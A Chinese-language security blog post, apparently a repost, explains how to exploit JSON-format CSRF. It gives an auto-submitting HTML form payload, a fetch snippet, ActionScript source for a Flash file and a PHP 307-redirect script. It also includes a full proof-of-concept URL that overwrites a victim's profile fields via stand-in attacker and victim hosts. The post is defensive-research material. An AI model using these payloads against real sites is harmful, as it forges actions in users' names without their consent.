【技术分享】Exploiting JSON CSRF

释放双眼,带上耳机,听听看~!
0x00前言前段时间,看到一个POST为JSON格式的CSRF,并且验证了Content-Type是否是application/json。构造后发现:使用form能构造出JSON的跨域请求,但是无法设置Content-Type。使用XMLHttpRequest或fetch能构造出JSON请求并能设

0x00 前言

前段时间,看到一个POST为JSON格式的CSRF,并且验证了Content-Type是否是application/json。构造后发现:

  • 使用form能构造出JSON的跨域请求,但是无法设置Content-Type。

  • 使用XMLHttpRequest或fetch能构造出JSON请求并能设置Content-Type,但是无法跨域。

0x01 POC

存在两种场景:

  • JSON CSRF(未验证Content-Type)

  • JSON CSRF(验证Content-Type)

JSON CSRF(未验证Content-Type)

可以使用form进行跨域,并构造出JSON格式数据。

使用form的POC

<html>
<title>JSON CSRF POC</title>

<form action="http://test.joychou.org" method="POST" enctype="text/plain" >
   <input name='{"name":"attacker","email":"[email protected]","ignore_me":"' value='test"}' type='hidden'>
</form>

<script>
     document.forms[0].submit();
</script>

</html>

构造出的POST数据为

{name: "attacker", email: "[email protected]", ignore_me: "=test"}

注意:form的enctype参数不能设置位Content-Type。

该POC利用多一个key value的形式,去闭合多余的符号。如果存在CSRF的漏洞页面能识别多余的key value,那么这种方式是可行的。

JSON CSRF(验证Content-Type)

当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。

fetch发起的请求代码:

<html>
<title>JSON CSRF POC</title>
<script>
   fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>

</form>
</html>

不过,我们可以利用flash的跨域 + 307跳转来构造POC。需要环境如下:

  1. 能发起HTTP请求的swf文件(csrf_json.swf)

  2. 307跳转(307.php)

  3. 上面两个文件同域

swf的ActionScript代码如下:

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
 
  public class csrf extends Sprite
  {
     
     
     public function csrf()
     {
        super();
        var myJson:String = this.root.loaderInfo.parameters.jsonData;
        var url:String = this.root.loaderInfo.parameters.php_url;
        var endpoint:String = this.root.loaderInfo.parameters.endpoint;
        var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
        var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
        request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
        request.data = myJson;
        request.method = URLRequestMethod.POST;
        var urlLoader:URLLoader = new URLLoader();
        try
        {
           urlLoader.load(request);
           return;
        }
        catch(e:Error)
        {
           trace(e);
           return;
        }
     }
  }
}

代码很简单,发起一个POST方式的HTTP请求,并且设置Content-Type以及postdata。

Flash的编译和反编译可以使用FFdec,Win和Mac都可使用。csrf_json.swf下载地址:点我下载

307.php

<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307)
?>

最后的POChttp://attacter.com/csrf_json.swf?jsonData={"weChat":"hacked by joychou","qq":"hacked by joychou","workLocation":"hacked by joychou"}&php_url=http://attacter/307.php&endpoint=http://victim.com/csrfvulpage

下面说明下该方法能够跨域的原理。

当访问最后的POC,过程如下:

  1. 受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

  2. attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

  3. victim.com收到一条POST请求,并且Content-Type为application/json。

  4. victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。

我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。

0x02 Flash设置其他Header

既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?

其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。详情可查看Flash Header黑名单

0x03 Reference

  • http://www.appsecweekly.com/flash-same-origin-policy-bypass-with-307/

  • https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/

给TA买糖
共{{data.count}}人
人已赞赏
HackerNews

新型“敲竹杠”木马设置障眼法反侦察 360巧破天书密码

2017-9-30 4:16:29

HackerNews

【技术分享】Use DNS Rebinding to Bypass SSRF in Java

2017-9-30 6:22:53

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索